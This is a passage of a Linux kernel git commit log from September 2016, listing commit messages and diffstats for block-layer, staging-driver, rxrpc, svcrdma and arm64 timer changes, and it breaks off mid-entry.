005043ac31ba5bf6721b4ddca10ff2066e2ee2fe Author: Josef Bacik Date: Wed Sep 21 16:55:31 2016 -0400 nbd: use BLK_MQ_F_BLOCKING We take a mutex when sending commands and send stuff over the network, we need to have queue_rq called asynchronously. Signed-off-by: Josef Bacik Fixes: fd8383fd88a2 ("nbd: convert to blkmq") Signed-off-by: Jens Axboe drivers/block/nbd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 55679c8d23d191c24ad133abc5647e3054ca8de1 Author: Bart Van Assche Date: Fri Sep 23 09:07:56 2016 -0700 blkcg: Annotate blkg_hint correctly Avoid that sparse complains about blkg_hint manipulations. Fixes: a637120e4902 ("blkcg: use radix tree to index blkgs from blkcg") Signed-off-by: Bart Van Assche Acked-by: Tejun Heo Signed-off-by: Jens Axboe include/linux/blk-cgroup.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e4e8d968a319a311908b2dd8f241442b5c529b5f Author: Baoyou Xie Date: Fri Sep 23 21:21:33 2016 +0800 Staging: ks7010: remove unused function in ks_wlan_net.c We get 1 warning when building kernel with W=1: drivers/staging/ks7010/ks_wlan_net.c:3520:5: warning: no previous prototype for 'ks_wlan_reset' [-Wmissing-prototypes] In fact, these functions are unused in ks_wlan_net.c, but should be removed. So this patch removes the unused function. Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_wlan_net.c | 5 ----- 1 file changed, 5 deletions(-) commit af8b19c4a8ed156904e14d97dd186f5d8858acd6 Author: Baoyou Xie Date: Fri Sep 23 21:35:22 2016 +0800 staging: rtl8192u: remove unused functions in r8192U_core.c We get 2 warnings when building kernel with W=1: drivers/staging/rtl8192u/r8192U_core.c:925:12: warning: no previous declaration for 'ieeerate2rtlrate' [-Wmissing-declarations] drivers/staging/rtl8192u/r8192U_core.c:958:12: warning: no previous declaration for 'rtl8192_rate2rate' [-Wmissing-declarations] drivers/staging/rtl8192u/r8192U_core.c:1322:11: warning: no previous declaration for 'rtl8192_IsWirelessBMode' [-Wmissing-declarations] In fact, these functions are unused in r8192U_core.c, but should be removed. So this patch removes the unused functions. Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192u/r8192U_core.c | 49 ---------------------------------- 1 file changed, 49 deletions(-) commit 3590e78a1d28f16aebbd723fc021cb752e42737b Author: Baoyou Xie Date: Fri Sep 23 21:31:18 2016 +0800 staging: rtl8192u: ieee80211: ieee80211_softmac: mark symbols static where possible We get 5 warnings when building kernel with W=1: drivers/staging/rtl8192u/ieee80211/ieee80211_softmac.c:287:13: warning: no previous declaration for 'softmac_ps_mgmt_xmit' [-Wmissing-declarations] drivers/staging/rtl8192u/ieee80211/ieee80211_softmac.c:323:24: warning: no previous declaration for 'ieee80211_probe_req' [-Wmissing-declarations] drivers/staging/rtl8192u/ieee80211/ieee80211_softmac.c:643:24: warning: no previous declaration for 'ieee80211_authentication_req' [-Wmissing-declarations] drivers/staging/rtl8192u/ieee80211/ieee80211_softmac.c:981:24: warning: no previous declaration for 'ieee80211_association_req' [-Wmissing-declarations] drivers/staging/rtl8192u/ieee80211/ieee80211_softmac.c:3094:24: warning: no previous declaration for 'ieee80211_disassociate_skb' [-Wmissing-declarations] In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192u/ieee80211/ieee80211_softmac.c | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) commit 252a2560903085c7d030eee070a1c15b13bac101 Author: Baoyou Xie Date: Fri Sep 23 21:13:35 2016 +0800 staging: android: ion: mark symbols static where possible We get 4 warnings when building kernel with W=1: drivers/staging/android/ion/ion_carveout_heap.c:36:17: warning: no previous prototype for 'ion_carveout_allocate' [-Wmissing-prototypes] drivers/staging/android/ion/ion_carveout_heap.c:50:6: warning: no previous prototype for 'ion_carveout_free' [-Wmissing-prototypes] drivers/staging/android/ion/ion_of.c:28:5: warning: no previous prototype for 'ion_parse_dt_heap_common' [-Wmissing-prototypes] drivers/staging/android/ion/ion_of.c:54:5: warning: no previous prototype for 'ion_setup_heap_common' [-Wmissing-prototypes] In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion_carveout_heap.c | 10 +++++----- drivers/staging/android/ion/ion_of.c | 12 ++++++------ 2 files changed, 11 insertions(+), 11 deletions(-) commit da2c08714c94780d81780dd8918c71d491f672f4 Author: Christian Gromm Date: Fri Sep 23 15:20:02 2016 +0200 staging: most: aim-cdev: make syscall write accept buffers of arbitrary size This patch allows to call the write() function for synchronous and isochronous channels with buffers of any size. The AIM simply waits for data to fill up the MOST buffer object according to the network interface controller specification for streaming channels, before it submits the buffer to the HDM. The new behavior is backward compatible to the old applications, since all known applications needed to fill the buffer completely anyway. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-cdev/cdev.c | 37 +++++++++++++++++++++--------------- 1 file changed, 22 insertions(+), 15 deletions(-) commit 82af03f7b945634bfa93fef4e2f50db4459aabea Author: sayli karnik Date: Thu Sep 22 22:09:06 2016 +0530 staging: greybus: Use setup_timer function This patch uses setup_timer function instead of initializing timer with the function and data fields. Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 1d8f51d41fc7116f3753fe9f9a5dd93e0b550a2c Author: Scott Wood Date: Thu Sep 22 03:35:18 2016 -0500 arm/arm64: arch_timer: Use archdata to indicate vdso suitability Instead of comparing the name to a magic string, use archdata to explicitly communicate whether the arch timer is suitable for direct vdso access. Acked-by: Will Deacon Acked-by: Russell King Acked-by: Marc Zyngier Signed-off-by: Scott Wood Signed-off-by: Will Deacon arch/arm/Kconfig | 1 + arch/arm/include/asm/clocksource.h | 8 ++++++++ arch/arm/kernel/vdso.c | 2 +- arch/arm64/Kconfig | 1 + arch/arm64/include/asm/clocksource.h | 8 ++++++++ arch/arm64/kernel/vdso.c | 2 +- drivers/clocksource/arm_arch_timer.c | 11 +++-------- 7 files changed, 23 insertions(+), 10 deletions(-) commit f6dc1576cd517440313c9551b6ffa3d7e389c7c7 Author: Scott Wood Date: Thu Sep 22 03:35:17 2016 -0500 arm64: arch_timer: Work around QorIQ Erratum A-008585 Erratum A-008585 says that the ARM generic timer counter "has the potential to contain an erroneous value for a small number of core clock cycles every time the timer value changes". Accesses to TVAL (both read and write) are also affected due to the implicit counter read. Accesses to CVAL are not affected. The workaround is to reread TVAL and count registers until successive reads return the same value. Writes to TVAL are replaced with an equivalent write to CVAL. The workaround is to reread TVAL and count registers until successive reads return the same value, and when writing TVAL to retry until counter reads before and after the write return the same value. The workaround is enabled if the fsl,erratum-a008585 property is found in the timer node in the device tree. This can be overridden with the clocksource.arm_arch_timer.fsl-a008585 boot parameter, which allows KVM users to enable the workaround until a mechanism is implemented to automatically communicate this information. This erratum can be found on LS1043A and LS2080A. Acked-by: Marc Zyngier Signed-off-by: Scott Wood [will: renamed read macro to reflect that it's not usually unstable] Signed-off-by: Will Deacon Documentation/arm64/silicon-errata.txt | 2 + Documentation/kernel-parameters.txt | 9 +++ arch/arm64/include/asm/arch_timer.h | 47 ++++++++++++++- drivers/clocksource/Kconfig | 10 ++++ drivers/clocksource/arm_arch_timer.c | 104 +++++++++++++++++++++++++++++++++ 5 files changed, 169 insertions(+), 3 deletions(-) commit c183a603e8d8a5a189729b77d0c623a3d5950e5f Author: Thomas Gleixner Date: Fri Sep 23 17:08:04 2016 +0200 acpi: Fix broken error check in map_processor() map_processor() checks the cpuid value returned by acpi_map_cpuid() for -1 but acpi_map_cpuid() returns -EINVAL in case of error. As a consequence the error is ignored and the following access into percpu data with that negative cpuid results in a boot crash. This happens always when NR_CPUS/nr_cpu_ids is smaller than the number of processors listed in the ACPI tables. Use a proper error check for id < 0 so the function returns instead of trying to map CPU#(-EINVAL). Reported-by: Ingo Molnar Signed-off-by: Thomas Gleixner Cc: Dou Liyang Cc: Gu Zheng Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Tang Chen Cc: Zhu Guihua Cc: akpm@linux-foundation.org Cc: chen.tang@easystack.cn Cc: cl@linux.com Cc: gongzhaogang@inspur.com Cc: isimatu.yasuaki@jp.fujitsu.com Cc: izumi.taku@jp.fujitsu.com Cc: kamezawa.hiroyu@jp.fujitsu.com Cc: len.brown@intel.com Cc: lenb@kernel.org Cc: linux-acpi@vger.kernel.org Cc: linux-mm@kvack.org Cc: mika.j.penttila@gmail.com Cc: rafael@kernel.org Cc: rjw@rjwysocki.net Cc: tj@kernel.org Cc: yasu.isimatu@gmail.com Fixes: dc6db24d2476 ("x86/acpi: Set persistent cpuid <-> nodeid mapping when booting") Link: http://lkml.kernel.org/r/alpine.DEB.2.20.1609231705570.5640@nanos Signed-off-by: Ingo Molnar drivers/acpi/processor_core.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 3932a86b4b9d1f0b049d64d4591ce58ad18b44ec Author: Glauber Costa Date: Thu Sep 22 20:59:59 2016 -0400 cfq: fix starvation of asynchronous writes While debugging timeouts happening in my application workload (ScyllaDB), I have observed calls to open() taking a long time, ranging everywhere from 2 seconds - the first ones that are enough to time out my application - to more than 30 seconds. The problem seems to happen because XFS may block on pending metadata updates under certain circumnstances, and that's confirmed with the following backtrace taken by the offcputime tool (iovisor/bcc): ffffffffb90c57b1 finish_task_switch ffffffffb97dffb5 schedule ffffffffb97e310c schedule_timeout ffffffffb97e1f12 __down ffffffffb90ea821 down ffffffffc046a9dc xfs_buf_lock ffffffffc046abfb _xfs_buf_find ffffffffc046ae4a xfs_buf_get_map ffffffffc046babd xfs_buf_read_map ffffffffc0499931 xfs_trans_read_buf_map ffffffffc044a561 xfs_da_read_buf ffffffffc0451390 xfs_dir3_leaf_read.constprop.16 ffffffffc0452b90 xfs_dir2_leaf_lookup_int ffffffffc0452e0f xfs_dir2_leaf_lookup ffffffffc044d9d3 xfs_dir_lookup ffffffffc047d1d9 xfs_lookup ffffffffc0479e53 xfs_vn_lookup ffffffffb925347a path_openat ffffffffb9254a71 do_filp_open ffffffffb9242a94 do_sys_open ffffffffb9242b9e sys_open ffffffffb97e42b2 entry_SYSCALL_64_fastpath 00007fb0698162ed [unknown] Inspecting my run with blktrace, I can see that the xfsaild kthread exhibit very high "Dispatch wait" times, on the dozens of seconds range and consistent with the open() times I have saw in that run. Still from the blktrace output, we can after searching a bit, identify the request that wasn't dispatched: 8,0 11 152 81.092472813 804 A WM 141698288 + 8 <- (8,1) 141696240 8,0 11 153 81.092472889 804 Q WM 141698288 + 8 [xfsaild/sda1] 8,0 11 154 81.092473207 804 G WM 141698288 + 8 [xfsaild/sda1] 8,0 11 206 81.092496118 804 I WM 141698288 + 8 ( 22911) [xfsaild/sda1] <==== 'I' means Inserted (into the IO scheduler) ===================================> 8,0 0 289372 96.718761435 0 D WM 141698288 + 8 (15626265317) [swapper/0] <==== Only 15s later the CFQ scheduler dispatches the request ======================> As we can see above, in this particular example CFQ took 15 seconds to dispatch this request. Going back to the full trace, we can see that the xfsaild queue had plenty of opportunity to run, and it was selected as the active queue many times. It would just always be preempted by something else (example): 8,0 1 0 81.117912979 0 m N cfq1618SN / insert_request 8,0 1 0 81.117913419 0 m N cfq1618SN / add_to_rr 8,0 1 0 81.117914044 0 m N cfq1618SN / preempt 8,0 1 0 81.117914398 0 m N cfq767A / slice expired t=1 8,0 1 0 81.117914755 0 m N cfq767A / resid=40 8,0 1 0 81.117915340 0 m N / served: vt=1948520448 min_vt=1948520448 8,0 1 0 81.117915858 0 m N cfq767A / sl_used=1 disp=0 charge=0 iops=1 sect=0 where cfq767 is the xfsaild queue and cfq1618 corresponds to one of the ScyllaDB IO dispatchers. The requests preempting the xfsaild queue are synchronous requests. That's a characteristic of ScyllaDB workloads, as we only ever issue O_DIRECT requests. While it can be argued that preempting ASYNC requests in favor of SYNC is part of the CFQ logic, I don't believe that doing so for 15+ seconds is anyone's goal. Moreover, unless I am misunderstanding something, that breaks the expectation set by the "fifo_expire_async" tunable, which in my system is set to the default. Looking at the code, it seems to me that the issue is that after we make an async queue active, there is no guarantee that it will execute any request. When the queue itself tests if it cfq_may_dispatch() it can bail if it sees SYNC requests in flight. An incoming request from another queue can also preempt it in such situation before we have the chance to execute anything (as seen in the trace above). This patch sets the must_dispatch flag if we notice that we have requests that are already fifo_expired. This flag is always cleared after cfq_dispatch_request() returns from cfq_dispatch_requests(), so it won't pin the queue for subsequent requests (unless they are themselves expired) Care is taken during preempt to still allow rt requests to preempt us regardless. Testing my workload with this patch applied produces much better results. From the application side I see no timeouts, and the open() latency histogram generated by systemtap looks much better, with the worst outlier at 131ms: Latency histogram of xfs_buf_lock acquisition (microseconds): value |-------------------------------------------------- count 0 | 11 1 |@@@@ 161 2 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 1966 4 |@ 54 8 | 36 16 | 7 32 | 0 64 | 0 ~ 1024 | 0 2048 | 0 4096 | 1 8192 | 1 16384 | 2 32768 | 0 65536 | 0 131072 | 1 262144 | 0 524288 | 0 Signed-off-by: Glauber Costa CC: Jens Axboe CC: linux-block@vger.kernel.org CC: linux-kernel@vger.kernel.org Signed-off-by: Glauber Costa Signed-off-by: Jens Axboe block/cfq-iosched.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit 97a32864e6de5944c6356049f60569de01e9ba1f Author: Sebastian Andrzej Siewior Date: Fri Sep 23 15:02:38 2016 +0200 blk-mq: fixup "Convert to new hotplug state machine" The "blk_mq_queue_reinit_dead()" just cleared the cpumask instead doing a copy. Since we might never had an online callback we could end up with a ZERO mask which in turn leads to crash as test robot demonstarted. Fixes: 65d5291eee66 ("blk-mq: Convert to new hotplug state machine") Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Jens Axboe block/blk-mq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 05dcb5c88827cf0f45f706246ce67b2f0cb2914c Author: Flora Cui Date: Thu Sep 22 11:34:47 2016 +0800 drm/amdgpu: fix amdgpu_vm_bo_update param error Signed-off-by: Flora Cui Reviewed-by: Hawking Zhang Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8d0a0ac0abcdba5b5d52726055c95f1f6234e85e Merge: 01dabe9 b09eed7 Author: Linus Walleij Date: Fri Sep 23 17:41:40 2016 +0200 Merge branch 'fixes' into devel commit eb67e53541cfe0624a614882af4207dcd7f7fb9e Author: Jagan Teki Date: Fri Sep 16 00:46:50 2016 +0530 of: Add vendor prefix for Engicam s.r.l company Engicam providing design services of electronic systems with high content of technology, relying on a long experience in electronic design. For more info visit http://www.engicam.com/en/ Cc: Sascha Hauer Cc: Fabio Estevam Cc: Shawn Guo Cc: Matteo Lisi Cc: Michael Trimarchi Signed-off-by: Jagan Teki Signed-off-by: Rob Herring Documentation/devicetree/bindings/vendor-prefixes.txt | 1 + 1 file changed, 1 insertion(+) commit 3d9cd95f90b2987ef95182a4340a9150e06c4253 Author: Marc Zyngier Date: Fri Sep 23 14:23:43 2016 +0100 ARM: gic-v3: Work around definition of gic_write_bpr1 A new accessor for gic_write_bpr1 is added to arch_gicv3.h in 4.9, whilst the CP15 accessors are redifined in a separate branch. This leads to a horrible clash, where the new accessor ends up with a crap "asm volatile" definition. Work around this by carrying our own definition of gic_write_bpr1, creating a small conflict which will be obvious to resolve. Signed-off-by: Marc Zyngier arch/arm/include/asm/arch_gicv3.h | 9 +++++++++ 1 file changed, 9 insertions(+) commit 22e43390456152f6e72ad2632e2b3fb363e94146 Author: Scott Wood Date: Thu Sep 22 03:35:15 2016 -0500 arm64: arch_timer: Add device tree binding for A-008585 erratum This erratum describes a bug in logic outside the core, so MIDR can't be used to identify its presence, and reading an SoC-specific revision register from common arch timer code would be awkward. So, describe it in the device tree. Signed-off-by: Scott Wood Acked-by: Rob Herring Signed-off-by: Will Deacon Documentation/devicetree/bindings/arm/arch_timer.txt | 6 ++++++ 1 file changed, 6 insertions(+) commit a1c1a1de43457e35816e84b948052af7ee68e158 Author: Nils Wallménius Date: Thu Sep 22 21:13:49 2016 +0200 drm/amdgpu: Constify tables Mark some powerplay tables as 'const' and adjust pointers acessing them to avoid introducing warnings. Signed-off-by: Nils Wallménius Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 2 +- drivers/gpu/drm/amd/powerplay/hwmgr/smu7_powertune.c | 12 ++++++------ drivers/gpu/drm/amd/powerplay/smumgr/iceland_smc.c | 10 +++++----- drivers/gpu/drm/amd/powerplay/smumgr/iceland_smumgr.h | 2 +- drivers/gpu/drm/amd/powerplay/smumgr/tonga_smc.c | 13 ++++++------- drivers/gpu/drm/amd/powerplay/smumgr/tonga_smumgr.h | 2 +- 6 files changed, 20 insertions(+), 21 deletions(-) commit c6672e3fe4a641bf302d6309ab4d5ee55648e758 Author: David Howells Date: Fri Sep 23 13:58:55 2016 +0100 rxrpc: Add a tracepoint to log which packets will be retransmitted Add a tracepoint to log in rxrpc_resend() which packets will be retransmitted. Note that if a positive ACK comes in whilst we have dropped the lock to retransmit another packet, the actual retransmission may not happen, though some of the effects will (such as altering the congestion management). Signed-off-by: David Howells include/trace/events/rxrpc.h | 27 +++++++++++++++++++++++++++ net/rxrpc/call_event.c | 2 ++ 2 files changed, 29 insertions(+) commit 9c7ad434441da6b5d4ac878cac368fbdaec99b56 Author: David Howells Date: Fri Sep 23 13:50:40 2016 +0100 rxrpc: Add tracepoint for ACK proposal Add a tracepoint to log proposed ACKs, including whether the proposal is used to update a pending ACK or is discarded in favour of an easlier, higher priority ACK. Whilst we're at it, get rid of the rxrpc_acks() function and access the name array directly. We do, however, need to validate the ACK reason number given to trace_rxrpc_rx_ack() to make sure we don't overrun the array. Signed-off-by: David Howells include/rxrpc/packet.h | 1 + include/trace/events/rxrpc.h | 42 ++++++++++++++++++++++++++++++++++++++++-- net/rxrpc/ar-internal.h | 25 +++++++++++++++++++++++-- net/rxrpc/call_event.c | 21 ++++++++++++++------- net/rxrpc/input.c | 19 +++++++++++++------ net/rxrpc/misc.c | 30 +++++++++++++++++++----------- net/rxrpc/output.c | 3 ++- net/rxrpc/recvmsg.c | 3 ++- 8 files changed, 114 insertions(+), 30 deletions(-) commit 89b475abdb107a74f57497b65becaf837a0e5b6b Author: David Howells Date: Fri Sep 23 12:39:22 2016 +0100 rxrpc: Add a tracepoint to log injected Rx packet loss Add a tracepoint to log received packets that get discarded due to Rx packet loss. Signed-off-by: David Howells include/trace/events/rxrpc.h | 21 +++++++++++++++++++++ net/rxrpc/input.c | 11 +++++------ 2 files changed, 26 insertions(+), 6 deletions(-) commit be832aecc5ba811728e15a10f675f4a2187f25dd Author: David Howells Date: Fri Sep 23 12:39:22 2016 +0100 rxrpc: Add data Tx tracepoint and adjust Tx ACK tracepoint Add a tracepoint to log transmission of DATA packets (including loss injection). Adjust the ACK transmission tracepoint to include the packet serial number and to line this up with the DATA transmission display. Signed-off-by: David Howells include/trace/events/rxrpc.h | 50 +++++++++++++++++++++++++++++++++++++------- net/rxrpc/conn_event.c | 5 ++--- net/rxrpc/output.c | 5 ++++- 3 files changed, 48 insertions(+), 12 deletions(-) commit fc7ab6d29a3af0b7f6df7c095509378c8caf85b5 Author: David Howells Date: Fri Sep 23 15:22:36 2016 +0100 rxrpc: Add a tracepoint for the call timer Add a tracepoint to log call timer initiation, setting and expiry. Signed-off-by: David Howells include/trace/events/rxrpc.h | 36 ++++++++++++++++++++++++++++++++++++ net/rxrpc/ar-internal.h | 13 ++++++++++++- net/rxrpc/call_event.c | 7 ++++--- net/rxrpc/call_object.c | 6 ++++-- net/rxrpc/misc.c | 8 ++++++++ net/rxrpc/sendmsg.c | 2 +- 6 files changed, 65 insertions(+), 7 deletions(-) commit b86e218e0d422488e0febb07620fa97ae9713779 Author: David Howells Date: Fri Sep 23 15:08:48 2016 +0100 rxrpc: Don't call the tx_ack tracepoint if don't generate an ACK rxrpc_send_call_packet() is invoking the tx_ack tracepoint before it checks whether there's an ACK to transmit (another thread may jump in and transmit it). Fix this by only invoking the tracepoint if we get a valid ACK to transmit. Further, only allocate a serial number if we're going to actually transmit something. Signed-off-by: David Howells net/rxrpc/output.c | 26 +++++++++++--------------- 1 file changed, 11 insertions(+), 15 deletions(-) commit 70790dbe3f6651fb66ad38da0a1e24368778bc16 Author: David Howells Date: Fri Sep 23 12:39:22 2016 +0100 rxrpc: Pass the last Tx packet marker in the annotation buffer When the last packet of data to be transmitted on a call is queued, tx_top is set and then the RXRPC_CALL_TX_LAST flag is set. Unfortunately, this leaves a race in the ACK processing side of things because the flag affects the interpretation of tx_top and also allows us to start receiving reply data before we've finished transmitting. To fix this, make the following changes: (1) rxrpc_queue_packet() now sets a marker in the annotation buffer instead of setting the RXRPC_CALL_TX_LAST flag. (2) rxrpc_rotate_tx_window() detects the marker and sets the flag in the same context as the routines that use it. (3) rxrpc_end_tx_phase() is simplified to just shift the call state. The Tx window must have been rotated before calling to discard the last packet. (4) rxrpc_receiving_reply() is added to handle the arrival of the first DATA packet of a reply to a client call (which is an implicit ACK of the Tx phase). (5) The last part of rxrpc_input_ack() is reordered to perform Tx rotation, then soft-ACK application and then to end the phase if we've rotated the last packet. In the event of a terminal ACK, the soft-ACK application will be skipped as nAcks should be 0. (6) rxrpc_input_ackall() now has to rotate as well as ending the phase. In addition: (7) Alter the transmit tracepoint to log the rotation of the last packet. (8) Remove the no-longer relevant queue_reqack tracepoint note. The ACK-REQUESTED packet header flag is now set as needed when we actually transmit the packet and may vary by retransmission. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 7 +++- net/rxrpc/input.c | 102 +++++++++++++++++++++++++++++++----------------- net/rxrpc/misc.c | 3 +- net/rxrpc/sendmsg.c | 14 +++---- 4 files changed, 81 insertions(+), 45 deletions(-) commit 01a88f7f6bd4514de9551c3fc9a6fd9e65cbf79d Author: David Howells Date: Fri Sep 23 12:39:22 2016 +0100 rxrpc: Fix call timer Fix the call timer in the following ways: (1) If call->resend_at or call->ack_at are before or equal to the current time, then ignore that timeout. (2) If call->expire_at is before or equal to the current time, then don't set the timer at all (possibly we should queue the call). (3) Don't skip modifying the timer if timer_pending() is true. This indicates that the timer is working, not that it has expired and is running/waiting to run its expiry handler. Also call rxrpc_set_timer() to start the call timer going rather than calling add_timer(). Signed-off-by: David Howells net/rxrpc/call_event.c | 25 ++++++++++++++----------- net/rxrpc/call_object.c | 4 ++-- 2 files changed, 16 insertions(+), 13 deletions(-) commit be8aa3380678183821bd7d7b5dec845f10d776ce Author: David Howells Date: Fri Sep 23 12:39:23 2016 +0100 rxrpc: Fix accidental cancellation of scheduled resend by ACK parser When rxrpc_input_soft_acks() is parsing the soft-ACKs from an ACK packet, it updates the Tx packet annotations in the annotation buffer. If a soft-ACK is an ACK, then we overwrite unack'd, nak'd or to-be-retransmitted states and that is fine; but if the soft-ACK is an NACK, we overwrite the to-be-retransmitted with a nak - which isn't. Instead, we need to let any scheduled retransmission stand if the packet was NAK'd. Note that we don't reissue a resend if the annotation is in the to-be-retransmitted state because someone else must've scheduled the resend already. Signed-off-by: David Howells net/rxrpc/input.c | 2 ++ 1 file changed, 2 insertions(+) commit 7dd84f065c5fea2c3af945b1e94cd734b3416fa8 Merge: 2008ee0 ce385a5 Author: Arnd Bergmann Date: Fri Sep 23 16:21:43 2016 +0200 Merge tag 'omap-for-v4.9/dt-pt3-signed' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap into next/dt Pull "few minor fixes for omap dts files for v4.9 merge window" Few fixes for omap dts files for v4.9 merge window. Let's also add the tilcdc quirks: - Fix typo with recent beagleboard-x15 changes for mmc2_pins_default - Add am335x blue-and-red-wiring quirk as specified in the binding in Documentation/devicetree/bindings/display/tilcdc/tilcdc.txt. Also fix up the whitespace formatting for am335x-evmsk. - Fix for recent igepv5 power button for GPIO_ACTIVE_LOW. Also fix up the whitespace formatting for the button * tag 'omap-for-v4.9/dt-pt3-signed' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap: ARM: dts: omap5-igep0050.dts: Use tabs for indentation ARM: dts: Fix igepv5 power button GPIO direction ARM: dts: am335x-evmsk: Add blue-and-red-wiring -property to lcdc node ARM: dts: am335x-evmsk: Whitespace cleanup of lcdc related nodes ARM: dts: am335x-evm: Add blue-and-red-wiring -property to lcdc node ARM: dts: am57xx-beagle-x15-common: Fix wrong pinctrl selection for mmc2 commit 25d55296dd3eac23adb2ae46b67b65bf73b22fb2 Author: Chuck Lever Date: Tue Sep 13 10:53:23 2016 -0400 svcrdma: support Remote Invalidation Support Remote Invalidation. A private message is exchanged with the client upon RDMA transport connect that indicates whether Send With Invalidation may be used by the server to send RPC replies. The invalidate_rkey is arbitrarily chosen from among rkeys present in the RPC-over-RDMA header's chunk lists. Send With Invalidate improves performance only when clients can recognize, while processing an RPC reply, that an rkey has already been invalidated. That has been submitted as a separate change. In the future, the RPC-over-RDMA protocol might support Remote Invalidation properly. The protocol needs to enable signaling between peers to indicate when Remote Invalidation can be used for each individual RPC. Signed-off-by: Chuck Lever Reviewed-by: Sagi Grimberg Signed-off-by: J. Bruce Fields include/linux/sunrpc/svc_rdma.h | 1 + net/sunrpc/xprtrdma/svc_rdma_sendto.c | 58 ++++++++++++++++++++++++++++++-- net/sunrpc/xprtrdma/svc_rdma_transport.c | 12 +++++-- 3 files changed, 65 insertions(+), 6 deletions(-) commit cc9d83408b52265ddab2874cf19d1611da4ca7ee Author: Chuck Lever Date: Tue Sep 13 10:53:15 2016 -0400 svcrdma: Server-side support for rpcrdma_connect_private Prepare to receive an RDMA-CM private message when handling a new connection attempt, and send a similar message as part of connection acceptance. Both sides can communicate their various implementation limits. Implementations that don't support this sideband protocol ignore it. Signed-off-by: Chuck Lever Reviewed-by: Sagi Grimberg Signed-off-by: J. Bruce Fields net/sunrpc/xprtrdma/svc_rdma_transport.c | 34 ++++++++++++++++++++++++++++---- 1 file changed, 30 insertions(+), 4 deletions(-) commit 5d48709656584420f31b361c4b1a3ebf1d68b225 Author: Chuck Lever Date: Tue Sep 13 10:53:07 2016 -0400 rpcrdma: RDMA/CM private message data structure Introduce data structure used by both client and server to exchange implementation details during RDMA/CM connection establishment. This is an experimental out-of-band exchange between Linux RPC-over-RDMA Version One implementations, replacing the deprecated CCP (see RFC 5666bis). The purpose of this extension is to enable prototyping of features that might be introduced in a subsequent version of RPC-over-RDMA. Suggested by Christoph Hellwig and Devesh Sharma. Signed-off-by: Chuck Lever Reviewed-by: Sagi Grimberg Signed-off-by: J. Bruce Fields include/linux/sunrpc/rpc_rdma.h | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) commit 9995237bba702281e0e8e677edd5bb225f4f6c30 Author: Chuck Lever Date: Tue Sep 13 10:52:59 2016 -0400 svcrdma: Skip put_page() when send_reply() fails Message from syslogd@klimt at Aug 18 17:00:37 ... kernel:page:ffffea0020639b00 count:0 mapcount:0 mapping: (null) index:0x0 Aug 18 17:00:37 klimt kernel: flags: 0x2fffff80000000() Aug 18 17:00:37 klimt kernel: page dumped because: VM_BUG_ON_PAGE(page_ref_count(page) == 0) Aug 18 17:00:37 klimt kernel: kernel BUG at /home/cel/src/linux/linux-2.6/include/linux/mm.h:445! Aug 18 17:00:37 klimt kernel: RIP: 0010:[] svc_rdma_sendto+0x641/0x820 [rpcrdma] send_reply() assigns its page argument as the first page of ctxt. On error, send_reply() already invokes svc_rdma_put_context(ctxt, 1); which does a put_page() on that very page. No need to do that again as svc_rdma_sendto exits. Fixes: 3e1eeb980822 ("svcrdma: Close connection when a send error occurs") Signed-off-by: Chuck Lever Signed-off-by: J. Bruce Fields net/sunrpc/xprtrdma/svc_rdma_sendto.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cace564f8b6260e806f5e28d7f192fd0e0c603ed Author: Chuck Lever Date: Tue Sep 13 10:52:50 2016 -0400 svcrdma: Tail iovec leaves an orphaned DMA mapping The ctxt's count field is overloaded to mean the number of pages in the ctxt->page array and the number of SGEs in the ctxt->sge array. Typically these two numbers are the same. However, when an inline RPC reply is constructed from an xdr_buf with a tail iovec, the head and tail often occupy the same page, but each are DMA mapped independently. In that case, ->count equals the number of pages, but it does not equal the number of SGEs. There's one more SGE, for the tail iovec. Hence there is one more DMA mapping than there are pages in the ctxt->page array. This isn't a real problem until the server's iommu is enabled. Then each RPC reply that has content in that iovec orphans a DMA mapping that consists of real resources. krb5i and krb5p always populate that tail iovec. After a couple million sent krb5i/p RPC replies, the NFS server starts behaving erratically. Reboot is needed to clear the problem. Fixes: 9d11b51ce7c1 ("svcrdma: Fix send_reply() scatter/gather set-up") Signed-off-by: Chuck Lever Signed-off-by: J. Bruce Fields include/linux/sunrpc/svc_rdma.h | 9 +++++++++ net/sunrpc/xprtrdma/svc_rdma_backchannel.c | 2 +- net/sunrpc/xprtrdma/svc_rdma_recvfrom.c | 2 +- net/sunrpc/xprtrdma/svc_rdma_sendto.c | 22 ++++------------------ net/sunrpc/xprtrdma/svc_rdma_transport.c | 18 ++++++++++++------ 5 files changed, 27 insertions(+), 26 deletions(-) commit bec782b4fccd395bacb6f99187a9131f7826cbd1 Author: Jeff Layton Date: Thu Sep 22 07:19:02 2016 -0400 nfsd: fix 